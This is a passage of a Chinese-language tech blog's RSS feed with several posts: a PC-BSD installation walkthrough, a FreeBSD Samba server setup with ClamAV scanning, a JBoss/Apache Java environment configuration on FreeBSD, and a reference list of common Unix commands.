google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
<img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/02.jpg" alt="" width="675" height="415" /></p>
<p>选择简体中文后，安装界面也迅速成换成全中文格式，这里可以选择将时区改为上海时间。其它其本不用心。</p>
<p> </p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/03.jpg" alt="" width="675" height="447" /></p>
<p>这里选同意许可协议，跟着按下一步</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/04.jpg" alt="" width="675" height="412" /></p>
<p>这里选择全部安装，选择安装桌面版，选择从光驱安装。。 跟着按下一步</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/06.jpg" alt="" width="675" height="422" /></p>
<p>这里设置root密码，以及新增一个常用账户的账号与密码。可选桌面默认与新增的普通账号来login，也可以不选。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/07.jpg" alt="" width="675" height="422" /></p>
<p>这里选择安装硬盘，以及选择整个硬盘安装，还是独自分区。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/08.jpg" alt="" width="675" height="420" /></p>
<p>这里选择要安装的软件包。除了桌面游戏与玩具外，其它常用的编程开发，网络工具，俺全选上。选择方法就是先用MOUSE选择可用组件的组件包，然后单击下面向下的三角符，表示将组件包选择到要安装的组件项里。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/09.jpg" alt="" width="675" height="429" /></p>
<p>系统开始正式安装。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/10.jpg" alt="" width="1129" height="642" /></p>
<p> 提示放入第二张光盘，放入第二光盘后，继续安装。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/11.jpg" alt="" width="675" height="423" /></p>
<p>提示放入第三张安装盘，俺只下载了第一，第二盘，如果你只是选择安装常用的工具组件包，第三光盘可以不用安装。这里直接按ok。系统会继续安装。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
<img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/12.jpg" alt="" width="675" height="457" /></p>
<p>安装完成，按重新启动。重新启动系统.</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/13.jpg" alt="" width="675" height="396" /></p>
<p>pcbsd正准备重启。。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/14.jpg" alt="" width="675" height="446" /></p>
<p>pcbsd 重启后，进入设置屏幕分辨率的窗口。这里，可以直接选择跳过或者应用都可以。。。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/15.jpg" alt="" width="675" height="504" /></p>
<p>login窗口，输入账号与密码.然后直接按回车。</p>
<p><img class="alignnone" src="http://www.evanjiang.net.cn/wp-content/uploads/image/16.jpg" alt="" width="675" height="447" /></p>
<p>安装完成。PCBSD操作桌面。。。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/995.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Freebsd 安装带杀毒功能的samba文件服务器</title>
		<link>http://www.evanjiang.net.cn/archives/942.html</link>
		<comments>http://www.evanjiang.net.cn/archives/942.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:56:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[samba]]></category>
		<category><![CDATA[Freebsd Samba]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=942</guid>
		<description><![CDATA[<p>安装Freebsd过程略</p>
<p>1.安装Samba 3</p>
<p># cd /usr/ports/net/samba3
# make install clean
安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.</p>
<p>samba_enable=&#8221;YES&#8221;
2.安装clamav</p>
<p># cd /usr/ports/security/clamav
# make install clean
手动更新病毒库到默认路径</p>
<p># freshclam
在/etc/rc.conf加一句让Clamav随系统一起启动.</p>
<p>clamav_clamd_enable=&#8221;YES&#8221;
clamav_freshclam_enable=&#8221;YES&#8221;        # 定时更新病毒库
3.安装samba-vscan</p>
<p># cd /usr/ports/security/samba-vscan
# make install clean
在/usr/local/etc/smb.conf的[global]加入</p>
<p>vfs object = vscan-clamav
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf
附简单的smb.conf
 </p>
<p># Samba config file created using SWAT
# from 127.0.0.1 (127.0.0.1)
# Date: 2005/08/06 10:55:55</p>
<p># Global parameters
[global]
        [...]]]></description>
			<content:encoded><![CDATA[<p>安装Freebsd过程略</p>
<p>1.安装Samba 3</p>
<p># cd /usr/ports/net/samba3<br />
# make install clean<br />
安装完samba,请设置/usr/local/etc/smb.conf.并在/etc/rc.conf加入一句使Samba随系统一起启动.</p>
<p>samba_enable=&#8221;YES&#8221;<br />
2.安装clamav</p>
<p># cd /usr/ports/security/clamav<br />
# make install clean<br />
手动更新病毒库到默认路径</p>
<p># freshclam<br />
在/etc/rc.conf加一句让Clamav随系统一起启动.</p>
<p>clamav_clamd_enable=&#8221;YES&#8221;<br />
clamav_freshclam_enable=&#8221;YES&#8221;        # 定时更新病毒库<br />
3.安装samba-vscan</p>
<p># cd /usr/ports/security/samba-vscan<br />
# make install clean<br />
在/usr/local/etc/smb.conf的[global]加入</p>
<p>vfs object = vscan-clamav<br />
vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf<br />
附简单的smb.conf<br />
 <span id="more-942"></span></p>
<p># Samba config file created using SWAT<br />
# from 127.0.0.1 (127.0.0.1)<br />
# Date: 2005/08/06 10:55:55</p>
<p># Global parameters<br />
[global]<br />
        dos charset = GB2312<br />
        unix charset = GB2312<br />
        display charset = GB2312<br />
        workgroup = SAMBA<br />
        server string = Samba PDC running %v<br />
        log level = 2<br />
        log file = /var/log/samba/log.%m<br />
        max log size = 50<br />
        socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=8192 SO_RCVBUF=8192<br />
        local master = No<br />
        dns proxy = No<br />
        ldap ssl = no<br />
        #hosts allow = 10.0., 127.<br />
        vfs object = vscan-clamav<br />
        vscan-clamav: config-file = /usr/local/etc/samba-vscan/vscan-clamav.conf<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
[homes]<br />
        comment = Home Directories<br />
        valid users = %S<br />
        write list = %S<br />
        read only = No<br />
        create mask = 0666<br />
        directory mask = 0777<br />
        browseable = No</p>
<p>[profiles]<br />
        path = /home/samba/profiles<br />
        read only = No<br />
        create mask = 0600<br />
        directory mask = 0700<br />
        browseable = No<br />
 
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
[netlogon]<br />
        comment = Network Logon Service<br />
        path = /home/netlogon<br />
        write list =<br />
        browseable = No</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/942.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD java开发环境配置手册</title>
		<link>http://www.evanjiang.net.cn/archives/929.html</link>
		<comments>http://www.evanjiang.net.cn/archives/929.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:10:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[jboss]]></category>
		<category><![CDATA[Freebsd java]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=929</guid>
		<description><![CDATA[<p>一,所需软件:
jdk-1.3.1 for freebsd build(软件仓库里有)
apache-2.0.3*(最新版本为httpd-2.0.39)
jboss-3.0-tomcat-4.0.3(最新)
tomcat-4.0.4
jakarta-tomcat-connector-4.0.2-src </p>
<p>postgresql-7.2.8
1.安装jdk:
到软件仓库下载,解开后里面有些pkg_add安装的包,安装即可
设置环境变量
PATH=$PATH:/usr/jdk/bin
JAVA_HOME=/usr/jdk
2.安装postgresql-7.2.8
编译时注意&#8211;enable-multibyte
安装在/usr/pgsql
createdb -E EUC_CN test </p>
<p>2.安装jboss
将jboss-3.0-tomcat-4.0.3的包解开为/usr/jboss
目录下有个catalina,这就是tomcat-4.0.3
删除,
下载tomcat-4.0.4
解开后拷贝到/usr/jboss/
重命名为catalina </p>
<p>3.编译apache-2.0.39
./configure &#8211;prefix=/usr/apache &#8211;enable-so &#8211;with-mpm=prefork
make&#038;&#038;make install
4.集成apache和jboss:
很多文档推荐使用mod_jk.
俺读了tomcat的源码和webapp的java源码,找到一种使用
warp集成的方法.
编译mod_webapp.so
解开connector.
cd webapp
./support/buildconf.sh
./configure &#8211;with-apxs=/usr/apache/bin/apxs
cd apache-2.0
make install
会把mod_webapp.so拷贝到/usr/apache/modules目录
修改/usr/jboss/server/default/deploy/tomcat4-service.xml文件.
配置warpconnector
在最后的





四行之前添加 </p>
<p>


 </p>
<p>添加以上内容后,jboss的配置就完成. </p>
<p>配置apache </p>
<p>







修改httpd.conf: </p>
<p>设定ServerName为合法的FQDN </p>
<p>在最后添加: </p>
<p>LoadModule webapp_module modules/mod_webapp.so

WebAppConnection con Warp :8008
#假设你发布了一个test
就应当加入
WebAppDeploy test con /test/
 </p>
<p>配置完成后,运行apachectl configtest和apachectl startssl命令启动apache </p>
<p>这就可以通过80端口访问jboss中的webapplication. </p>
<p>如果你以后发布什么内容,都需要修改WepAppDeploy一行 </p>
<p>添加相关的内容
测试,运行/usr/jboss/bin/下的run.sh
启动jboss-3.0
如果使用localhost/test/联接时可能会看到屏幕输出ERROR&#8230;
读过warpconnector的WarpLogger.java你可以看到,其实是由于connector的log处理问题,jboss就认为是ERROR.
另外,warpconnector是由tomcat容器管理的,在tomcat中
可以正常的关闭socket.而在jboss内嵌的tomcat中,使用jboss管理.
所以在关闭socket时会抛出一个异常(在关闭jboss时)
解决办法:
编译tomcat-webapp.jar </p>
<p>其实这个jar包跟$CATALINA_HOME/server/lib/warp.jar是一样的.
但是在jboss中发布warp.jar时,因为代码中有一些logger.log(&#8220;&#8230;&#8221;)
jboss会认为这是ERROR,会在屏幕上抛出异常,看着不舒服(不影响使用)
进入刚才的webapp目录下的java/&#8230;/warp/目录
主要修改WarpConnection.java和WarpConnector.java这两个文件中的logger.log(&#8220;&#8221;)
去掉就可以,或者你想作一些其他的改动也可以
回到webapp目录,拷贝build.properties.sample为build.properties
你需要作的是修改这个文件,指定catalina.home为你的CATALINA_HOME
这个例子中就是/usr/jakarta/jboss/catalina了.
然后运行: </p>
<p>ant </p>
<p>会在本目录build/lib目录生成一个tomcat-webapp.jar.
删除$CATALINA_HOME/server/lib/warp.jar
将tomcat-webapp.jar拷贝到$CATALINA_HOME/server/lib/目录
就可以.







</p>
<p>至于怎么开发我就不说.
jsp和servlet没有什么不同. </p>
<p>cmp2.0的例程可以在google搜索jboss3 cmp找到. </p>
<p>目前存在的问题是没有找到在jboss中使用cocoon2的方法(在单独运行的tomcat中是正常的) </p>
]]></description>
			<content:encoded><![CDATA[<p>一,所需软件:<br />
jdk-1.3.1 for freebsd build(软件仓库里有)<br />
apache-2.0.3*(最新版本为httpd-2.0.39)<br />
jboss-3.0-tomcat-4.0.3(最新)<br />
tomcat-4.0.4<br />
jakarta-tomcat-connector-4.0.2-src </p>
<p>postgresql-7.2.8<br />
1.安装jdk:<br />
到软件仓库下载,解开后里面有些pkg_add安装的包,安装即可<br />
设置环境变量<br />
PATH=$PATH:/usr/jdk/bin<br />
JAVA_HOME=/usr/jdk<br />
2.安装postgresql-7.2.8<br />
编译时注意&#8211;enable-multibyte<br />
安装在/usr/pgsql<br />
createdb -E EUC_CN test </p>
<p>2.安装jboss<br />
将jboss-3.0-tomcat-4.0.3的包解开为/usr/jboss<br />
目录下有个catalina,这就是tomcat-4.0.3<br />
删除,<br />
下载tomcat-4.0.4<br />
解开后拷贝到/usr/jboss/<br />
重命名为catalina </p>
<p>3.编译apache-2.0.39<br />
./configure &#8211;prefix=/usr/apache &#8211;enable-so &#8211;with-mpm=prefork<br />
make&#038;&#038;make install<br />
4.集成apache和jboss:<br />
很多文档推荐使用mod_jk.<br />
俺读了tomcat的源码和webapp的java源码,找到一种使用<br />
warp集成的方法.<br />
编译mod_webapp.so<br />
解开connector.<br />
cd webapp<br />
./support/buildconf.sh<br />
./configure &#8211;with-apxs=/usr/apache/bin/apxs<br />
cd apache-2.0<br />
make install<br />
会把mod_webapp.so拷贝到/usr/apache/modules目录<br />
修改/usr/jboss/server/default/deploy/tomcat4-service.xml文件.<br />
配置warpconnector<br />
在最后的<br />
<span id="more-929"></span><br />
</Server><br />
</attribute><br />
</mbean><br />
</server><br />
四行之前添加 </p>
<p><!-- Define an Apache-Connector Service --><br />
<Service name="Tomcat-Apache"><br />
<Connector className="org.apache.catalina.connector.warp.WarpConnector"<br />
port="8008" minProcessors="5" maxProcessors="75"<br />
enableLookups="true"<br />
acceptCount="10" debug="0"/><br />
</Service> </p>
<p>添加以上内容后,jboss的配置就完成. </p>
<p>配置apache </p>
<p>
<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
修改httpd.conf: </p>
<p>设定ServerName为合法的FQDN </p>
<p>在最后添加: </p>
<p>LoadModule webapp_module modules/mod_webapp.so<br />
<IfModule mod_webapp.c><br />
WebAppConnection con Warp <ServerName,根据实际情况>:8008<br />
#假设你发布了一个test<br />
就应当加入<br />
WebAppDeploy test con /test/<br />
</IfModule> </p>
<p>配置完成后,运行apachectl configtest和apachectl startssl命令启动apache </p>
<p>这就可以通过80端口访问jboss中的webapplication. </p>
<p>如果你以后发布什么内容,都需要修改WepAppDeploy一行 </p>
<p>添加相关的内容<br />
测试,运行/usr/jboss/bin/下的run.sh<br />
启动jboss-3.0<br />
如果使用localhost/test/联接时可能会看到屏幕输出ERROR&#8230;<br />
读过warpconnector的WarpLogger.java你可以看到,其实是由于connector的log处理问题,jboss就认为是ERROR.<br />
另外,warpconnector是由tomcat容器管理的,在tomcat中<br />
可以正常的关闭socket.而在jboss内嵌的tomcat中,使用jboss管理.<br />
所以在关闭socket时会抛出一个异常(在关闭jboss时)<br />
解决办法:<br />
编译tomcat-webapp.jar </p>
<p>其实这个jar包跟$CATALINA_HOME/server/lib/warp.jar是一样的.<br />
但是在jboss中发布warp.jar时,因为代码中有一些logger.log(&#8220;&#8230;&#8221;)<br />
jboss会认为这是ERROR,会在屏幕上抛出异常,看着不舒服(不影响使用)<br />
进入刚才的webapp目录下的java/&#8230;/warp/目录<br />
主要修改WarpConnection.java和WarpConnector.java这两个文件中的logger.log(&#8220;&#8221;)<br />
去掉就可以,或者你想作一些其他的改动也可以<br />
回到webapp目录,拷贝build.properties.sample为build.properties<br />
你需要作的是修改这个文件,指定catalina.home为你的CATALINA_HOME<br />
这个例子中就是/usr/jakarta/jboss/catalina了.<br />
然后运行: </p>
<p>ant </p>
<p>会在本目录build/lib目录生成一个tomcat-webapp.jar.<br />
删除$CATALINA_HOME/server/lib/warp.jar<br />
将tomcat-webapp.jar拷贝到$CATALINA_HOME/server/lib/目录<br />
就可以.<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>至于怎么开发我就不说.<br />
jsp和servlet没有什么不同. </p>
<p>cmp2.0的例程可以在google搜索jboss3 cmp找到. </p>
<p>目前存在的问题是没有找到在jboss中使用cocoon2的方法(在单独运行的tomcat中是正常的) </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/929.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>unix常用指令及参数</title>
		<link>http://www.evanjiang.net.cn/archives/893.html</link>
		<comments>http://www.evanjiang.net.cn/archives/893.html#comments</comments>
		<pubDate>Wed, 08 Apr 2009 13:48:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[debian linux]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[netbsd unix]]></category>
		<category><![CDATA[openbsd unix]]></category>
		<category><![CDATA[other linux]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[sco unix]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[sun unix]]></category>
		<category><![CDATA[suse linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[unix 常用命令 及参数]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=893</guid>
		<description><![CDATA[<p>常用组合键
ctrl+h,backspace :删除前面的字符.
ctrl+u:删除一整行.
ctrl+c,del,break: 强行终止正在运行的程序.
ctrl+d:
常用指令
1.date:查看当前时间.
2.cal:查看某一个月的月历.
3.Finger 命令:显示一个用户的详细信息.
4.who命令:显示所有登陆用户.who an i
5.clear 命令:执行清屏动作.
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello </p>
<p>world
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显</p>
<p>示在屏幕上banner hello
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:
   格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算</p>
<p>单词的数目)] filename
9.passwd 命令,用于修改口令.
10.man 命令:联机手册
六.shell的基本功能:命令解释器,程序设计语言.
shell的退出命令.
1.exit 主要用于退出B_shell
2.logout 主要用于退出C_shell
3.ctrl+d 用于退出各类shell
第三章 通信
内部通信
外部通信





下.
mail命令模式常用命令
 如有下页则显示,否则退出mail.
p      显示本邮件信息
d      删除当前邮件
n      显示下一个邮件
q      退出 mail,把末删除的邮件保存到个人邮箱中.
R     [...]]]></description>
			<content:encoded><![CDATA[<p>常用组合键<br />
ctrl+h,backspace :删除前面的字符.<br />
ctrl+u:删除一整行.<br />
ctrl+c,del,break: 强行终止正在运行的程序.<br />
ctrl+d:<br />
常用指令<br />
1.date:查看当前时间.<br />
2.cal:查看某一个月的月历.<br />
3.Finger 命令:显示一个用户的详细信息.<br />
4.who命令:显示所有登陆用户.who an i<br />
5.clear 命令:执行清屏动作.<br />
6.echo 命令:将命令名后跟随的参数显示在屏幕echo hello </p>
<p>world<br />
7.banner 命令:将命令名后跟的ACSSII字符串以大字的方式显</p>
<p>示在屏幕上banner hello<br />
8.wc 命令:用于计算一个指定的文件中的行数单词及字符数:<br />
   格式wc[-c(计算字符的数目)] [-l(计算行的数目)] [-w(计算</p>
<p>单词的数目)] filename<br />
9.passwd 命令,用于修改口令.<br />
10.man 命令:联机手册<br />
六.shell的基本功能:命令解释器,程序设计语言.<br />
shell的退出命令.<br />
1.exit 主要用于退出B_shell<br />
2.logout 主要用于退出C_shell<br />
3.ctrl+d 用于退出各类shell<br />
第三章 通信<br />
内部通信<br />
外部通信<1,电子邮件,2.即时通信<br />
一.即时通讯<br />
1.write 交谈命令 (半双工通信)<br />
格式 write student1<br />
ctrl+d 退出write<br />
Write协议:消息发送结束用O(结束)<br />
结束谈话用OO(结束并退出)<br />
2.mesg 消息开关命令.用于查询和开关本终端的消息接收状态.<br />
格式:mesg [-y] [-n]<br />
$ mesg 查询本终端当前的消息接收状态<br />
is y 可以接收消息<br />
is n 拒绝接收消息<br />
$ mesg n 设置关闭状态<br />
$ mesg y 设置打开状态<br />
3.talk 双向通信命令 (全双工方式)<br />
4.wall 广播信息命令<br />
二,电子邮件<br />
$ mail username  发送邮件<br />
$ mail                 接收邮件<br />
系统邮箱:在/usr/mail或/var/mail下,每个用户都有一个以其名字</p>
<p>命名的邮箱.例如:student8的系统邮箱可能为:/var/mail/student8<br />
个人邮箱:个人邮箱通常为用户自己的主目录(home)下的mbox<br />
<span id="more-893"></span><br />
文件.用户读过的邮件如果末删除或转存,则存放在个人邮箱中</p>
<p>.例如:student8的个人邮箱可能是:/home/student8/mbox<br />
1.发送邮件:<br />
$ mail student8<br />
给多个用户发送邮件<br />
a.$ mail student1 student2 student3 把用户列出来.<br />
b.$ mail TEACHER TEACHER为用户组名,即向属于TEACHER</p>
<p>组所有用记发邮件.<br />
c.$ alias usr_list student1 student2 student3给student1 student2 </p>
<p>student3等多个名字建立一个部的别名usr_list,该别名只在本</p>
<p>shell中起作用,退出shell后无效.<br />
$ mail usr_list<br />
把已有的文件作为邮件发送给用户:<br />
$ mail student8 < my_letter<br />
发邮件给不存在的用户:<br />
$ mail meizhegeren<br />
mail命令本身能正常执行,由于无有效的接收方,所以系统把邮</p>
<p>件退回到用户主目录下dead.letter中.<br />
2.接收邮件<br />
不带参数输入mial表示读取邮件.此时已进入出境mail命令模式<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
下.<br />
mail命令模式常用命令<br />
<cr> 如有下页则显示,否则退出mail.<br />
p      显示本邮件信息<br />
d      删除当前邮件<br />
n      显示下一个邮件<br />
q      退出 mail,把末删除的邮件保存到个人邮箱中.<br />
R     回复邮件<br />
!      执行shell命令.<br />
?      显示mail的内部命令.<br />
第四章 文件系统<br />
与目录相关的命令(pwd,cd,mkdir,rmdir,ls)<br />
与文件相关的命令(cp,mv,ln,more,rm)<br />
1.pwd 显示当前工作目录<br />
2.cd  改变当前目录<br />
3.mkdir 创建目录<br />
格式 mkdir dir_name<br />
4.rmdir 删除目录<br />
格式 rmdir dir_name<br />
     a.只能是空目录.<br />
      b.有写的权限<br />
一次操作多个目录<br />
- p 选项.在当前目录下逐级创建目录,也可以逐级删除目录.<br />
5.ls 显示目录<br />
$ ls -a 显示所有文件(以点开头的文件名是隐藏文件)<br />
$ ls -R 显示所有子目录的内容<br />
$ ls &#8211; l  能得到目录中的文件的详细信息.<br />
-:普通 d: 目录 c: 字符设备 b: 块设备 p:管道<br />
$ ls &#8211; C 以多列的格式列表,按列排序.<br />
$ ls &#8211; F 如果是目录,文件名后加/,如果是可执行文件,加*表示.<br />
$ ls &#8211; m 按页宽列文件,以逗号分隔.<br />
$ ls &#8211; p 如果是目录,文件名后加/<br />
$ ls &#8211; r 以字母反序列表<br />
$ ls &#8211; s 以文件块为单位显示文件大小<br />
$ ls &#8211; x 以多列的格式列表,按行排序.<br />
$ ls -G 以不同的颜色显示.<br />
$ ls -lc 显示更新时间<br />
$ ls -i   inode序号将列在第一列<br />
$ ls -lu 显示访问时间<br />
$ ls -I   显示更改时间<br />
6.touch 命令:作用是用来修改文件访问时间更改时间的.并可以</p>
<p>用来创建0字节长度的文件.<br />
格式 touch 命令参数<br />
7.cp 命令:复制文件<br />
格式 cp source target<br />
         $ cp file1 file2 &#8230; Target-dir<br />
$ cp -i 如果目标文件存在,请求确认<br />
$ cp -r 复制目录到新的目录<br />
8.mv 命令:移动文件或命名文件<br />
格式:mv source target<br />
9.ln 命令:ln命令的主要功能是给一个已经存在的文件再取一个</p>
<p>名字.新的文件名与原文件名可以在同一个目录下,也可以以在</p>
<p>不同的目录下,新老文件名代表同一个文件.<br />
格式ln source-file target-file<br />
作用:在现有的文件与新文件之间建立新链接,使一个文件具有</p>
<p>一个以上的名字.<br />
显示文件内容命令<br />
10.cat 命令:用来显示.创建或者合并文件<br />
格式cat filename<br />
11.more 命令:逐屏显示文件内容.翻屏时用<space>键.<br />
格式:$ more filename<br />
12.rm 命令:删除文件(删除后无法恢复)<br />
格式:$ rm file<br />
         $ rm file1 file2<br />
$ rm -i 删除文件前,给出确认<br />
$ rm -r 删除指定的目录及目录中的所有文件和子目录.即删除</p>
<p>整个目录结构.<br />
13.lp 命令:打印命令<br />
14.cut 命令:切取文件内容,用于切取文件中的列或字段.它把文</p>
<p>本文件中每一行的一部分显示输出.运行时必须指定功能选项.<br />
- f 指定字段的位置<br />
-c 指定列的位置<br />
-d 指定字段分隔符,缺省的字段分隔符是制表符tab<br />
15.paste 命令:连接文件.<br />
作用:把文件一行接一行地连接在一起,或者把两个或多个文件</p>
<p>的域连到一个新文件里.<br />
格式: $paste 选项 参数<br />
选项:-d 指定分隔符.默认是制表符<br />
第五章 文件权限<br />
16.chmod 命令:修改文件权限,常用chmod命令修改文件(包括普</p>
<p>通,目录和设备)的访问权限,<br />
格式: chmod pattern filename &#8230;<br />
finename 为要修改的权限文件名.可以有多个.<br />
pattern 为将改变成的权限,可以用两种形式表示:字母式和数字</p>
<p>形式.<br />
a,字母形式(符号模式)<br />
字母形式由用户类别(u,g,o). 如何改变(+,-)和权限(r,w,x)三部分</p>
<p>组成.<br />
u:本用户g:同组用户o:其它用户. + :增加权限 -:删除权限<br />
r:读w:写x:执行<br />
例如:chmod u+x file1<br />
         chmod o-w file2 file3<br />
          chmod go+r file4<br />
b,    数值形式<br />
格式: chmod 777 file1<br />
*新建文件或目录最大权限=状态掩码+新建文件或目录缺省</p>
<p>权限.此时unask为000<br />
对一个新建的文件,umask值为022则指定该文件的权限为644:<br />
对一个新建的目录,umask值为022则指定该目录的权限为755<br />
17.sort 命令:作用在于将指定的文件中的文件进行排序,并把排</p>
<p>序的结果输出到指定的标准输出中.<br />
格式:$srot [-t delimiter] [+field] [.column]][option]<br />
选项: -d 以字典顺序进行排序<br />
          -<br />
18.head 命令:用于查看一个文件.或多个文件的前面几行的内</p>
<p>容.<br />
格式:$ head [-number_of_lines] file(s)<br />
19.tail 命令:用于显示从指定行开始直到文件末尾的文件内容<br />
格式;tail [-number_of_lines | +number_of_lines]file<br />
20.tee 命令:在获得输入后,将把该输入数据送到两个地点:标准<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
输出和文件.<br />
21.grep 命令: 用于选项定包含特定模式的文本行.<br />
21.find 命令:在目录中递归地搜索包括有特定字符的文件名.<br />
22.df 命令:磁盘空间监测命令.显示当前系统中各个逻辑磁盘</p>
<p>中空闲的磁盘块数和空闲的索引节点(即可建立的新文件数)<br />
23.du 命令:查看磁盘使用情况统计,统计指定的目录及所有子</p>
<p>目录的磁盘使用情况,统计单位是磁盘块数.<br />
选项:-a 显示所有文件及子目录<br />
24.fsck 命令:文件系统管理:用于检测和修复文件文件的错误,<br />
25.tar命令:文件存储与备份.该命令可以把文件系统中的一个</p>
<p>或一组文件打成一个文件包.存放到外存上或硬盘上文件系统</p>
<p>的其它地方.常用于多个文件(包括目录)的备份或转移.<br />
格式: tar -cvf target file1 file2 file3 &#8230;把file1 file2 file3等文件备份到</p>
<p>档案文件target中.<br />
         tar -tvf target 检查档案文件target中包含的文件信息.<br />
         tar -xvf targer [file1] 从档案文件target中提取全部或file指定</p>
<p>的文件.<br />
26.shutdown 命令:系统关机<br />
选项:-h 完全关机<br />
         -r 关机并重新启动系统<br />
         time 关机时间,如17:30<br />
         message 关机前向所有已登陆用户发送消息<br />
例如: shutdown -r now 现在关机重启.<br />
27.crypt 文件加密命令:用于对文本文件进行加密和解密.以防</p>
<p>止文件内容泄密.<br />
例如:$ crypt < file > file.cry 对file加密,结果保存在file.cry中.key:加</p>
<p>密口令<br />
        $ crypt <aaa.cry > aaa 对aaa.cry解密,结果保存到aaa中. key:</p>
<p>解密口令<br />
附:$ vi -x file.cry 编辑一个加密后的文件<br />
28.compress/uncompress 文件压缩和解压命令<br />
格式:compress data_file 加压后自动在文件名后加一个.Z<br />
         umcompress abc.Z<br />
29.at 定时执行任务:在指定的时间一次性执行规定的任务.<br />
at 15:30 在15:30分执行<br />
who >> userlist 把上机用户清单发到userlist<br />
30,cron 系统定量执行任务:<br />
31,crontab 任务描述文件的管理命令.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/893.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
